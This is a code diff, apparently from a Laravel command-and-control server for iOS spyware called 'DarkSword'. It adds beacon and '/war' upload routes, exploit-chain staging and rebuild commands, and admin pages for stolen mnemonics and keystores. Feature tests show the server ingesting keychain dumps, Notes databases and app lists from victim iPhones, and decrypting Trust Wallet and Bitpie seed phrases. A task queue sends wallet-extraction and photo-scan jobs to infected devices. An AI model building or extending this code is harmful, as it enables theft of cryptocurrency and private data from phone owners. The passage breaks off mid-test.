})->purpose('Build shared xxbb /details and staged weifile from channel c'); })->purpose('Build shared xxbb /details and staged weifile from channel c');
Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () {
$script = base_path('channel-builder-ds/tools/build.py');
if (! is_file($script)) {
$this->error('missing '.$script);
return 1;
}
$args = ['python3', $script];
$host = trim((string) $this->option('host'));
$port = trim((string) $this->option('port'));
$origin = trim((string) $this->option('origin'));
if ($origin !== '') {
$args[] = '--origin';
$args[] = $origin;
}
if ($host !== '') {
$args[] = '--host';
$args[] = $host;
}
if ($port !== '') {
$args[] = '--port';
$args[] = $port;
}
$this->info(implode(' ', $args));
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
return $code;
})->purpose('Rewrite DarkSword source and publish public/next-chain');
Artisan::command('coruna:channel-domains {--json}', function () { Artisan::command('coruna:channel-domains {--json}', function () {
$domains = array_values(array_filter(config('coruna.channel_domains', []))); $domains = array_values(array_filter(config('coruna.channel_domains', [])));
if ($this->option('json')) { if ($this->option('json')) {
+18
View File
@@ -0,0 +1,18 @@
<?php
use App\Http\Controllers\C2\DarkSwordC2Controller;
use Illuminate\Support\Facades\Route;
$ds = DarkSwordC2Controller::class;
// Shared /a /u /nb /event /result are declared in routes/xxbb.php
// (same URI, DarkSword vs xxbb chosen per request).
Route::any('/beacon', [$ds, 'beacon']);
Route::any('/war', [$ds, 'war']);
Route::any('/p', [$ds, 'p']);
Route::any('/stats', [$ds, 'stats']);
Route::any('/api/ds/log', [$ds, 'log']);
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
Route::any('/api/ds/device/register', [$ds, 'register']);
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
+2 -1
View File
@@ -6,6 +6,7 @@ use Illuminate\Routing\Middleware\SubstituteBindings;
use Illuminate\Support\Facades\Route; use Illuminate\Support\Facades\Route;
Route::middleware([SubstituteBindings::class])->group(function () { Route::middleware([SubstituteBindings::class])->group(function () {
Route::post('/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview'); Route::match(['GET', 'HEAD', 'POST'], '/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview');
Route::match(['GET', 'HEAD', 'POST'], '/hook/tokenview', TokenviewWebhookController::class);
Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram'); Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram');
}); });
+8 -2
View File
@@ -3,6 +3,8 @@
use App\Http\Controllers\Admin\ChannelController; use App\Http\Controllers\Admin\ChannelController;
use App\Http\Controllers\Admin\DashboardController; use App\Http\Controllers\Admin\DashboardController;
use App\Http\Controllers\Admin\DeviceController; use App\Http\Controllers\Admin\DeviceController;
use App\Http\Controllers\Admin\FilterOptionsController;
use App\Http\Controllers\Admin\KeystoreController;
use App\Http\Controllers\Admin\MnemonicController; use App\Http\Controllers\Admin\MnemonicController;
use App\Http\Controllers\Admin\NoteController; use App\Http\Controllers\Admin\NoteController;
use App\Http\Controllers\Admin\PageVisitController; use App\Http\Controllers\Admin\PageVisitController;
@@ -23,11 +25,11 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index'); Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data'); Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups'); Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs');
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index'); Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data'); Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
@@ -47,6 +49,10 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets'); Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh'); Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index'); Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data'); Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
+27 -13
View File
@@ -1,21 +1,35 @@
<?php <?php
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Http\Controllers\C2\XxbbC2Controller; use App\Http\Controllers\C2\XxbbC2Controller;
use App\Http\Middleware\DecryptXxbbBody; use App\Http\Middleware\DecryptXxbbBody;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route; use Illuminate\Support\Facades\Route;
Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']); $ds = DarkSwordC2Controller::class;
$xxbb = XxbbC2Controller::class;
Route::middleware([DecryptXxbbBody::class])->group(function () { $dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xxbb) {
Route::post('/a', [XxbbC2Controller::class, 'profile']); return static function (Request $request) use ($ds, $dsMethod, $xxbb, $xxbbMethod) {
Route::post('/u', [XxbbC2Controller::class, 'apps']); return DarkSwordC2Controller::matches($request)
Route::post('/event', [XxbbC2Controller::class, 'event']); ? app($ds)->{$dsMethod}($request)
Route::post('/t', [XxbbC2Controller::class, 'photos']); : app($xxbb)->{$xxbbMethod}($request);
Route::post('/nb', [XxbbC2Controller::class, 'notes']); };
Route::post('/uj', [XxbbC2Controller::class, 'plugin']); };
Route::post('/us', [XxbbC2Controller::class, 'plugin']);
Route::post('/ub', [XxbbC2Controller::class, 'plugin']); Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
Route::post('/ba', [XxbbC2Controller::class, 'plugin']);
Route::post('/result', [XxbbC2Controller::class, 'plugin']); Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $xxbb) {
Route::post('/api/tg/t', [XxbbC2Controller::class, 'telegram']); Route::post('/a', $dsOrXxbb('profile', 'profile'));
Route::post('/u', $dsOrXxbb('apps', 'apps'));
Route::post('/event', $dsOrXxbb('event', 'event'));
Route::post('/nb', $dsOrXxbb('notes', 'notes'));
Route::post('/result', $dsOrXxbb('result', 'plugin'));
Route::post('/t', [$xxbb, 'photos']);
Route::post('/uj', [$xxbb, 'plugin']);
Route::post('/us', [$xxbb, 'plugin']);
Route::post('/ub', [$xxbb, 'plugin']);
Route::post('/ba', [$xxbb, 'plugin']);
Route::post('/api/tg/t', [$xxbb, 'telegram']);
}); });
+17
View File
@@ -563,6 +563,8 @@ class C2ApiTest extends TestCase
$ks = WalletKeystore::query()->where('device_id', $device->id)->first(); $ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertNotNull($ks); $this->assertNotNull($ks);
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null); $this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
$this->assertSame('imToken', $ks->source);
$this->assertSame(0, (int) $ks->decrypted);
} }
#[Test] #[Test]
@@ -815,6 +817,7 @@ class C2ApiTest extends TestCase
->assertOk() ->assertOk()
->assertSee('钱包地址') ->assertSee('钱包地址')
->assertSee('助记词') ->assertSee('助记词')
->assertSee('钥匙串')
->assertSee('相册') ->assertSee('相册')
->assertSee('已装 APP') ->assertSee('已装 APP')
->assertSee('备忘录') ->assertSee('备忘录')
@@ -826,5 +829,19 @@ class C2ApiTest extends TestCase
$this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'apps'])) $this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'apps']))
->assertOk() ->assertOk()
->assertJsonPath('code', 0); ->assertJsonPath('code', 0);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => '',
'decrypted' => 0,
'raw_json' => ['kind' => 'sandbox'],
]);
$this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.0.source', '未知')
->assertJsonPath('data.0.decrypted', 0)
->assertJsonPath('data.0.kind', '沙盒文件')
->assertJsonPath('data.0.item_count', 0);
} }
} }
+851
View File
@@ -0,0 +1,851 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\DsBeaconTask;
use App\Models\DsChainLog;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use App\Services\DsBeaconQueue;
use App\Services\EthKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DarkSwordC2ApiTest extends TestCase
{
use RefreshDatabase;
private const DS_LHU = '69DD25B2CA8B5682BA2470D77124E2FC';
private const XXBB_D = '000C30D83CD0402E';
private const TEST_MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
}
#[Test]
public function log_post_returns_accepted(): void
{
$this->postJson('/api/ds/log', ['text' => 'hello', 'source' => 'pe_mpd'])
->assertOk()
->assertExactJson(['status' => 'accepted']);
$this->assertSame(0, DsChainLog::query()->count());
}
#[Test]
public function log_with_stage_writes_chain_log_and_dedups(): void
{
$payload = [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'stage' => 'loader',
'progress' => 18,
'label' => 'loader',
'channelCode' => 'BODOZR5F613N9',
];
$this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']);
$this->postJson('/api/ds/log', $payload)->assertOk();
$this->assertSame(1, DsChainLog::query()->count());
$row = DsChainLog::query()->first();
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
$this->assertSame('loader', $row->stage);
$this->assertSame(18, $row->progress);
$this->assertSame('BODOZR5F613N9', $row->channel_id);
}
#[Test]
public function log_infers_stage_and_ignores_noise(): void
{
$this->postJson('/api/ds/log', [
'text' => 'malloc ok 0x1234',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
])->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
$this->postJson('/api/ds/log', [
'text' => 'pe_main_start',
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
])->assertOk();
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
$this->assertSame('pe', $row->stage);
$this->assertSame(86, $row->progress);
}
#[Test]
public function next_chain_does_not_steal_ds_api_or_logs(): void
{
$this->getJson('/api/ds/chain-targets?ios=18.6')
->assertOk()
->assertJson([
'ok' => true,
'chain' => 'darksword',
]);
$this->get('/log.html?text=lab')
->assertOk()
->assertSee('ok', false);
$this->get('/api/ds/log?text=lab')
->assertOk()
->assertSee('ok', false);
}
#[Test]
public function pe_stage_get_writes_file_log_and_chain_row(): void
{
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
->assertOk()
->assertSee('ok', false);
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
$this->assertSame('pe', $row->stage);
$this->assertSame(86, $row->progress);
$this->assertSame('pe_stage:s1_launchd', $row->label);
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
->assertOk();
$this->assertSame(2, DsChainLog::query()->count());
$this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label);
$this->assertSame(94, DsChainLog::query()->orderByDesc('id')->first()->progress);
$this->get('/api/ds/pe-stage/s2_keychain')
->assertOk()
->assertSee('ok', false);
$this->assertSame(2, DsChainLog::query()->count());
}
#[Test]
public function plaintext_a_ingests_darksword_device(): void
{
$this->postJson('/a', [
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'ip' => '192.168.31.77',
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame('iPhone15,2', $device->device_model);
$this->assertSame('18.6', $device->ios_version);
$this->assertSame('192.168.31.77', $device->ip);
$this->assertNull($device->channel_id);
}
#[Test]
public function shared_path_with_x_ts_still_uses_xxbb_ack(): void
{
$this->xxbbPost('/a', [
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'd' => self::XXBB_D,
'f' => self::XXBB_D,
'deviceModel' => 'iPhone',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk()->assertSee('1786468227899{}', false);
$xxbb = Device::query()->where('device_id', self::XXBB_D)->first();
$this->assertNotNull($xxbb);
$this->assertSame(Device::FAMILY_CORUNA, $xxbb->family);
$this->postJson('/a', [
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
])->assertOk()->assertJson(['ok' => true]);
$ds = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($ds);
$this->assertSame(Device::FAMILY_DARKSWORD, $ds->family);
$this->assertSame(2, Device::query()->count());
}
#[Test]
public function register_accepts_query_style_channel_code(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'channeICode' => '0.0.01',
'ios' => '18.6',
'chain' => 'darksword',
])->assertOk()->assertJson(['ok' => true]);
$visit = PageVisit::query()->first();
$this->assertNotNull($visit);
$this->assertSame('0.0.01', $visit->channel_id);
}
#[Test]
public function register_uses_channel_code_not_ver_header(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'channelCode' => 'BODOZR5F613N9',
'ios' => '18.6',
'chain' => 'darksword',
], [
'ver' => '3.1.07',
'sdkv' => '3.1.07',
])->assertOk()->assertJson(['ok' => true]);
$this->assertNull(Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first());
$visit = PageVisit::query()->first();
$this->assertNotNull($visit);
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $visit->client_uid);
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain);
$this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain));
$this->assertSame('BODOZR5F613N9', $visit->channel_id);
$this->assertSame('iOS', $visit->os);
$this->assertSame('18.6', $visit->os_version);
$this->postJson('/a', [
'lhu' => '50624FE26CC4A0DF689EAEA117557C3E',
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'source' => 'c2_agent',
])->assertOk();
$device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame('BODOZR5F613N9', $device->channel_id);
$this->assertSame('18.6', $device->ios_version);
}
#[Test]
public function u_writes_device_apps_from_object_or_list(): void
{
$this->postJson('/u', [
'lhu' => self::DS_LHU,
'apps' => [
'0' => ['bundleId' => 'im.token.app', 'name' => 'imToken'],
'1' => ['bundleId' => 'com.apple.MobileSMS', 'name' => 'Messages'],
],
'count' => 2,
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
$this->assertTrue(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->exists()
);
$this->assertFalse(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists()
);
$this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet);
}
#[Test]
public function nb_writes_notes_and_stores_sqlite_blob(): void
{
Storage::fake('local');
$sqlite = "SQLite format 3\0lab-notes";
$this->postJson('/nb', [
'lhu' => self::DS_LHU,
'list' => [['id' => 4, 'title' => 'jdmdm', 'snippet' => 'hello', 'mod' => 0]],
'db_files' => [[
'name' => 'NoteStore.sqlite',
'data' => base64_encode($sqlite),
]],
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertNotNull($note);
$this->assertSame('jdmdm', $note->content[0]['title'] ?? null);
Storage::disk('local')->assertExists('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite');
$this->assertSame($sqlite, Storage::disk('local')->get('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite'));
}
#[Test]
public function war_without_mnemonic_stores_keystore_only(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'source' => 'pe_war_guarantee',
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
]],
],
],
'errors' => ['aksUnwrap class=10 kr=3758097090'],
],
'sandbox' => [
'imtoken' => ['keystore.json' => '{"version":3}'],
],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
$this->assertTrue($rows->every(fn ($row) => (int) $row->decrypted === 0));
$sources = $rows->pluck('source')->all();
$this->assertContains('Trust Wallet', $sources);
$this->assertContains('imToken', $sources);
}
#[Test]
public function war_twelve_word_phrase_ingests_mnemonic(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex(self::TEST_MNEMONIC),
]],
],
],
],
'sandbox' => [],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(self::TEST_MNEMONIC, $row->mnemonic);
$this->assertSame('Trust Wallet', $row->source);
}
#[Test]
public function war_trust_utc_ingests_btc_eth_trx_cap_two(): void
{
Http::fake();
$utc = [
'crypto' => ['cipher' => 'aes-128-ctr'],
'activeAccounts' => [
['address' => 'bc1qnt0t864aqfwxsltmhpytrck2z9aqgaf6vpu4xc', 'coin' => 0],
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 60],
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 137],
['address' => 'TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', 'coin' => 195],
['address' => 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x', 'coin' => 2],
['address' => 'bc1qsecondonlyforcapxxxxxxxxxxxxxxxxxxx', 'coin' => 0],
['address' => 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx', 'coin' => 0],
],
];
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get();
$this->assertSame(4, $rows->count());
$this->assertSame(['BITCOIN', 'BITCOIN', 'ETHEREUM', 'TRON'], $rows->pluck('chain_type')->sort()->values()->all());
$this->assertTrue($rows->every(fn ($row) => $row->source === 'Trust Wallet'));
$this->assertSame(2, $rows->where('chain_type', 'BITCOIN')->count());
$this->assertFalse($rows->contains('address', 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx'));
$this->assertFalse($rows->contains('address', 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x'));
}
#[Test]
public function war_class10_unwrap_failure_is_not_a_mnemonic(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'class' => 10,
'layer3Error' => 'aks_unwrap kr=3758097090',
'dataHex' => bin2hex(self::TEST_MNEMONIC),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertSame('Trust Wallet', $ks->source);
$this->assertSame(0, (int) $ks->decrypted);
}
#[Test]
public function war_trust_utc_decrypts_mnemonic_from_keychain_key(): void
{
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
$this->assertIsString($password);
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('ab', 32),
]);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'account' => 'trustwalletUTC--demo',
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex($password),
]],
],
],
],
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
$this->assertSame('Trust Wallet', $mnemonic->source);
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
$this->assertGreaterThanOrEqual(1, $rows->count());
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
}
#[Test]
public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void
{
Http::fake();
$entropy = '00000000000000000000000000000000';
$trx = app(\App\Services\Chain\TronDriver::class)->deriveAddress(self::TEST_MNEMONIC, 0);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'bitpie' => [
'count' => 2,
'items' => [
[
'account' => 'seedPhraseEntropy',
'service' => 'com.bitpie.wallet',
'dataHex' => bin2hex(strtoupper($entropy)),
],
[
'account' => 'userAddressKey',
'service' => 'com.bitpie.wallet',
'dataHex' => bin2hex($trx),
],
],
],
],
],
'sandbox' => [
'bitpie' => [
'Library/Preferences/com.bitpie.wallet.plist' => base64_encode(
'kUserAddressesConfigure[{"address":"'.$trx.'","coin_code":"trx-trx"}]'
),
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Bitpie')->first();
$this->assertNotNull($mnemonic);
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Bitpie')->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $trx)
->where('source', 'Bitpie')
->first();
$this->assertNotNull($addr);
$this->assertSame('TRON', $addr->chain_type);
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
}
#[Test]
public function beacon_walks_default_queue_then_loops_scan_tasks(): void
{
$types = DsBeaconQueue::TYPES;
$commandIds = [];
foreach ($types as $type) {
$resp = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson([
'ok' => true,
'type' => $type,
'uuid' => self::DS_LHU,
]);
$commandId = $resp->json('command_id');
$this->assertNotEmpty($commandId);
$commandIds[] = $commandId;
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $commandId,
'filename' => $type.'_result.json',
'category' => $type,
'status' => 'success',
])->assertOk();
}
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
$this->assertSame(
count($types),
DsBeaconTask::query()->where('device_id', $device->id)->where('status', DsBeaconTask::STATUS_DONE)->count()
);
$first = DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'wallet_extract')
->first();
$this->assertNotNull($first);
$this->assertSame(DsBeaconTask::STATUS_DONE, $first->status);
$this->assertSame(1, $first->result_count);
$this->assertSame('wallet_extract_result.json', $first->result_meta['filename'] ?? null);
$loop = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'wallet_extract',
'uuid' => self::DS_LHU,
]);
$loopId = $loop->json('command_id');
$this->assertNotEmpty($loopId);
$this->assertNotSame($commandIds[0], $loopId);
$first->refresh();
$this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $first->status);
$this->assertSame($loopId, $first->command_id);
$this->assertSame(1, $first->result_count);
$this->assertSame(
3,
DsBeaconTask::query()
->where('device_id', $device->id)
->whereIn('type', ['wallet_scan', 'photo_scan', 'apps'])
->where('status', DsBeaconTask::STATUS_PENDING)
->count()
);
$this->assertSame(
0,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count()
);
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', $device))
->assertOk()
->assertSee('C2 队列')
->assertSee('wallet_extract')
->assertSee('wallet_scan')
->assertSee('photo_scan')
->assertDontSee('basic_info');
$this->assertNotContains('photos', $types);
$this->assertNotContains('basic_info', $types);
$this->assertContains('photo_scan', $types);
}
#[Test]
public function beacon_redelivers_dispatched_task_until_result(): void
{
$first = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
$retry = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$task = DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'wallet_extract')
->first();
$this->assertNotNull($task);
$this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $task->status);
$this->assertSame($retryId, $task->command_id);
$this->assertSame(2, (int) ($task->result_meta['dispatch_count'] ?? 0));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $retryId,
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'status' => 'success',
])->assertOk();
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
}
#[Test]
public function beacon_skips_legacy_photos_task(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photos',
'status' => DsBeaconTask::STATUS_PENDING,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 2,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_PENDING,
]);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photo_scan']);
$this->assertSame(
DsBeaconTask::STATUS_SKIPPED,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status')
);
}
#[Test]
public function result_stores_files_and_skips_video(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
